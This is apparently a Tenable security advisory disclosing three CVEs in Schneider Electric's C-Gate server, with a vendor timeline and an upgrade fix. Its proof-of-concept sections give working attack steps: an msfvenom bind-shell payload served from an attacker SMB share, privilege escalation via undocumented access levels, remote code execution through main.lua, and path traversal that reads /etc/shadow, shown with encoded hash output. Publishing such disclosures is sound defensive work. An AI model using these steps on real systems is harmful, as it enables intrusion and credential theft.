tenable

Schneider Electric C-Gate Multiple Vulnerabilities

High

← View More Research Advisories

Synopsis

Tenable found multiple vulnerabilities in the C-Gate 2.11.6.

1) CVE-2021-22796 - Authenticated main.lua File Upload RCE

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

The following demonstrates how an authenticated user with C-Gate Admin access level can upload a malicious executable file to the C-Gate Windows host and run the executable as Network Service. For C-Gate versions prior to 2.11.6 (comes with CBusToolkit 1.15.8), the uploaded executable is run as SYSTEM.

The C-Gate server implements a LUA RUN command:

```
help LUA
101-Help: LUA commands:
101-Help:  LUA ? Help for these commands
101 Help:  LUA RUN - Run main.lua
```

The command runs the main.lua file located in the lua sub directory in the current directory:

```
(hr = new hR()).a = new hT("lua", "main.lua");
```

The attacker can perform the following steps to achieve RCE: Create a malicious exe (i.e., tcp_bind_shell.exe):

```
msfvenom -a x86 --platform windows -p windows/shell_bind_tcp LPORT=4444 -f exe -o /tmp/tcp_bind_shell.exe
```

Create main.lua:

```
echo -ne 'os.execute("lua\\\\tcp_bind_shell.exe")' > /tmp/main.lua
```

Setup an SMB server on attacker's host to serve tcp_bind_shell.exe and main.lua:

```
smbserver.py myshare /tmp
```

Login with a user that has Admin access level:

```
nc  20023
201 Service ready: Clipsal C-Gate Version: v2.11.6 (build 3271) #cmd-syntax=1.0
LOGIN admin aaa
211 Access level set to: Admin
```

Escalate to Max access level so that FILE commands can be run:

```
ACCESS ADD user attacker aaa Max
200 OK.
LOGIN attacker aaa
211 Access level set to: Max
```

Create the lua directory in the current directory (Default:C:\Clipsal\C-Gate2):

```
FILE MKDIR lua
200 OK.
```

Set project archive directory to lua so that the attacker-controlled files are dropped to this directory:

```
CONFIG GET project.default.archive-dir
303 project.default.archive-dir=tag/archived
CONFIG SET project.default.archive-dir lua
200 OK.
```

Upload a malicious exe (i.e., tcp_bind_shell.exe) to the lua directory:

```
PROJECT RESTORE exe \\\\\myshare\tcp_bind_shell.exe
200 OK.
PROJECT ARCHIVE exe tcp_bind_shell.exe
200 OK.
```

Upload attacker-controlled main.lua, which contains single line: os.execute("lua\\tcp_bind_shell.exe"):

```
PROJECT RESTORE lua \\\\\myshare\main.lua
200 OK.
PROJECT ARCHIVE lua main.lua
200 OK.
```

tenable

2) CVE-2021-22720 - PROJECT RESTORE Incomplete Fix

CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

An authenticated attacker with C-Gate Admin access level can read sensitive files using the PROJECT RESTORE and FILE DOWNLOAD commands. The following shows the attacker is able to download /etc/shadow on a Linux system on which the C-Gate server is running as root.

Login with a user that has Admin access level:

```
nc  20023
201 Service ready: Clipsal C-Gate Version: v2.11.6 (build 3271) #cmd-syntax=1.0
LOGIN admin aaa
211 Access level set to: Admin
```

Escalate to Max access level so that FILE commands can be run:

```
ACCESS ADD user attacker aaa Max
200 OK.
LOGIN attacker aaa
211 Access level set to: Max
```

Copy /etc/shadow to project directory:

```
PROJECT RESTORE shadow ../../../../../../../../../../../etc/shadow
200 OK.
```

Determine the project directory path:

```
CONFIG GET project.default.dir
303 project.default.dir=tag/
```

List project files in the project directory:

```
FILE LS tag
304-directory="/work/schneider/cgate/unpacked/cgate/tag" files=3
305-name="EXAMPLE.xml" size=77744 modified=Tue Jul 05 21:21:38 UTC 2016
305-name="HOME.xml" size=13671 modified=Tue Jul 05 21:21:38 UTC 2016
305 name="SHADOW.xml" size=1116 modified=Sat May 25 05:23:20 UTC 2021
```

Download /etc/shadow (contents base64 encoded):

```
FILE DOWNLOAD tag/SHADOW.xml
345-Start file download for file: tag/SHADOW.xml
347-cm9vdDokNiQ4OTBtYUV5aSRJM3NRWWhsUHR0WnNjeXRIQmZlZTF3VnRqRGhGMjlqSGVqbURPcmV0
347-VDR6bm9pa2k4anB0QmJtckdsYkRoeWhnU0FOMTFwVzhELjZvdG80TmVjdWlJLzoxODc3MjowOjk5
347-OTk5Ojc6OjoKZGF1bW9uOio6MTc5NDE6MDo5OTk5OTo3Ojo6CmJpbjoqOjE3OTQxOjA6OTk5OTk6
347-Nzo6OgpzeXM6KjoxNzk0MTowOjk5OTk5Ojc6OjoKc3luYzoqOjE3OTQxOjA6OTk5OTk6Nzo6Ogpn
347-YW11czoqOjE3OTQxOjA6OTk5OTk6Nzo6OgptYW46KjoxNzk0MTowOjk5OTk5Ojc6OjoKbHA6Kjox
347-Nzk0MTowOjk5OTk5Ojc6OjoKbWFpbDoqOjE3OTQxOjA6OTk5OTk6Nzo6OgpuZXdzOio6MTc5NDE6
347-MDo5OTk5OTo3Ojo6CnV1Y3A6KjoxNzk0MTowOjk5OTk5Ojc6OjoKcHJveHk6KjoxNzk0MTowOjk5
347-OTk5Ojc6OjoKd3d3LWRhdGE6KjoxNzk0MTowOjk5OTk5Ojc6OjoKYmFja3VwOio6MTc5NDE6MDo5
347-OTk5OTo3Ojo6Cmxpc3Q6KjoxNzk0MTowOjk5OTk5Ojc6OjoKaXJjOio6MTc5NDE6MDo5OTk5OTo3
347-Ojo6CmduYXRzOio6MTc5NDE6MDo5OTk5OTo3Ojo6Cm5vYm9keToqOjE3OTQxOjA6OTk5OTk6Nzo6
347-OgpzeXN0ZW1kLW5ldHdvcms6KjoxNzk0MTowOjk5OTk5Ojc6OjoKc3lzdGVtZC1yZXNvbHZlOio6
347-MTc5NDE6MDo5OTk5OTo3Ojo6CnN5c2xvZzoqOjE3OTQxOjA6OTk5OTk6Nzo6OgptZXNzYWdlYnVz
347-Oio6MTc5NDE6MDo5OTk5OTo3Ojo6Cl9hcHQ6KjoxNzk0MTowOjk5OTk5Ojc6OjoKbHhkOio6MTc5
347-NDE6MDo5OTk5OTo3Ojo6CnV1aWRkOio6MTc5NDE6MDo5OTk5OTo3Ojo6CmRuc21hc3E6KjoxNzk0
347-MTowOjk5OTk5Ojc6OjoKbGFuZHNjYXBlOio6MTc5NDE6MDo5OTk5OTo3Ojo6CnBvbGxpbmF0ZToq
347-OjE3OTQxOjA6OTk5OTk6Nzo6Ogpzc2hkOio6MTg2Njg6MDo5OTk5OTo3Ojo6CnVzZXIxOiQ2JDdO
347-M2dWTUhZbXRiV2kzNUMkZlBZOGIucGp2VndMWllJLy5QWXhzUDdIcXFLMi5BQzdKUmd0QW51U09C
347-Li5ucW9hY2lySjluVWIudmlwSTRKNVZ2UnRFRG1vN2owVVFJUXBGOHFhQTA6MTg2Njg6MDo5OTk5
347-OTo3Ojo6CnNhbmVkOio6MTg2Njg6MDo5OTk5OTo3Ojo6CmNvbG9yZDoqOjE4NjY4OjA6OTk5OTk6
347-Nzo6Ogp0a2VkZ2U6ITOxODY2ODowOjk5OTk5Ojc6OjoK
346 End file download
```

All PoCs use Kali Linux as attacker's host, where Metasploit and python-impacket (for smbserver.py) are installed.

3) Access Level Escalation - CVE-2021-22784

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

A user with C-Gate Admin access level can add a user with a higher level and then logs in as that user to gain a higher access level. This allows an authenticated attacker to run more privileged commands that are not allowed at the Admin level.

According to the C-Gate documentation (CGateManual.pdf), access levels are as follows, with each later level incorporating the functions of the previous level:

```
None    - no access at all. Use this to refuse connections.
Connect - allow a connection to be established (to the command interface only) and execute the LOGIN command or the license challenge & response commands.
Monitor - allow monitoring and query of the status of objects and C-Bus, but do not allow any changes
Operate - allow set, on, off, ramp operations – allow changes to be made to the system
Admin   - allow C-Gate shutdown and administration functions
Program - allow C-Bus networks to be programmed
Debug   - allow debugging functions to be performed
```

In addition, undocumented access levels Clipsal and Max are defined in cgate.jar, and these two access levels are higher than the Debug level:

```
private static String[] m = new String[] { "None", "Connect", "Monitor", "Operate", "Admin", "Program", "Debug", "Clipsal", "Max" };
```

The following shows a scenario of access level escalation:

```
nc  20023
201 Service ready: Clipsal C-Gate Version: v2.11.6 (build 3271) #cmd-syntax=1.0
LOGIN
210 Access level: Connect
FILE
420 Access denied.
LOGIN admin aaa
211 Access level set to: Admin
FILE
420 Access denied.
ACCESS ADD user attacker aaa Max
200 OK.
LOGIN attacker aaa
211 Access level set to: Max
FILE
101-Help: FILE commands:
101-Help:  FILE ? Help for these commands
101-Help:  FILE DELETE - Remove a file or directory from the server
101-Help:  FILE DIR - Return a list of directory contents for the given directory
101-Help:  FILE DOWNLOAD - Download a copy of a file as a base-64 encoded chunk of data
101-Help:  FILE LS - Return a list of directory contents for the given directory
101-Help:  FILE MD5 - Calculate an MD5 hash of a local filename on the server
101-Help:  FILE MKDIR - Return a list of directory contents for the given directory
101 Help:  FILE UPLOAD - Upload  a file to the server as a base-64 encoded chunk of data
```

Solution

Upgrade C-BUS toolkit to version 1.15.10.

Disclosure Timeline

05/25/2021 - Vulnerabilities discovered
6/29/2021 - Vendor informed
6/30/2021 - Vendor responded, they believe all issues already patched in current version.
6/30/2021 - We examine latest version, 2 out of the 3 issues are still present. We inform vendor.
7/19/2021 - Vendor informs that they are still researching issues.
7/23/2021 - Vendor confirms vulnerabilities. Target fix date is September 14th.
7/29/2021 - Tenable provides acknowledgement text.
9/14/2021 - Schneider Releases Patch
11/16/2021 - Tenable releases advisory

Risk Information

CVE ID: CVE-2021-22796
CVE-2021-22720
CVE-2021-22784
Tenable Advisory ID: TRA-2021-50
CVSSv3 Base / Temporal Score: 8.8/5.9
CVSSv3 Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Affected Products: C-Bus Toolkit V1.15.9 and prior
C-Gate Server 2.11.7 and prior
Risk Factor: High

Advisory Timeline

11/16/2021 - Advisory Published

FEATURED SOLUTIONS

Application Security
Building Management Systems
Cloud Security Posture Management
Compliance
Exposure Management
Finance
Healthcare
IT/OT
Ransomware
State / Local / Education
US Federal
Vulnerability Management
Zero Trust
→ View all Solutions

CUSTOMER RESOURCES

Resource Library
Community & Support
Customer Education
Tenable Research
Documentation
Trust and Assurance
Nessus Resource Center
Cyber Exposure Fundamentals
System Status

CONNECTIONS

Blog
Contact Us
Careers
Investors
Events
Media